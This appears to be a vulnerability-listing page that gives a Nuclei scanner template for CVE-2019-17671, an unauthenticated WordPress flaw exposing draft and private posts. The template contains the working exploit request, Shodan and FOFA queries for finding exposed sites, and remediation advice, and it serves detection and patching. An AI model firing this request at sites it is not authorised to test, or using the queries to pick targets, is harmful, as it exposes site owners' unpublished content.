CVE-2019-17671: WordPress <= 5.2.4 - Unauthenticated View Private/Draft Posts

2025-12-12 WordPress PoC Public

Description

WordPress before 5.2.4 contains an information disclosure caused by mishandling of the static query property, letting unauthenticated users view certain content, exploit requires no authentication.

PoC

id: CVE-2019-17671

info:
  name: WordPress <= 5.2.4 - Unauthenticated View Private/Draft Posts
  author: 0x_Akoko
  severity: medium
  description: |
    WordPress before 5.2.4 contains an information disclosure caused by mishandling of the static query property, letting unauthenticated users view certain content, exploit requires no authentication.
  impact: |
    Unauthenticated users can view restricted content, leading to information disclosure.
  remediation: |
    Update to WordPress 5.2.4 or later.
  reference:
    - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-523-security-and-maintenance-release.html
    - https://core.trac.wordpress.org/changeset/46474
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17671
    - https://seclists.org/bugtraq/2020/Jan/8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-17671
    cwe-id: CWE-200
    epss-score: 0.36503
    epss-percentile: 0.9841
    cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.component:"wordpress" http.html:"status-draft"
    fofa-query: body="Wordpress" && body="status-draft"
  tags: cve,cve2019,wp,wordpress,unauth,disclosure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?static=1&order=asc"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'type-page status-draft'
          - 'type-post status-draft'
        condition: or

      - type: regex
        part: body
        regex:
          - 'class="[^"]*entry-title[^"]*"[^>]*>[^<]{3,}'
          - 'WordPress ([0-4]\.|5\.[0-2]\.|5\.2\.[0-3])'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ac2c17cd7ca89a483b7c5ca2b09a46b2380a507794ad31a16e7125c22f4435dd022069d06d757fe338919ccf6aaa4fda6131a336fa929275ddd4412004e4f09aa2df:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities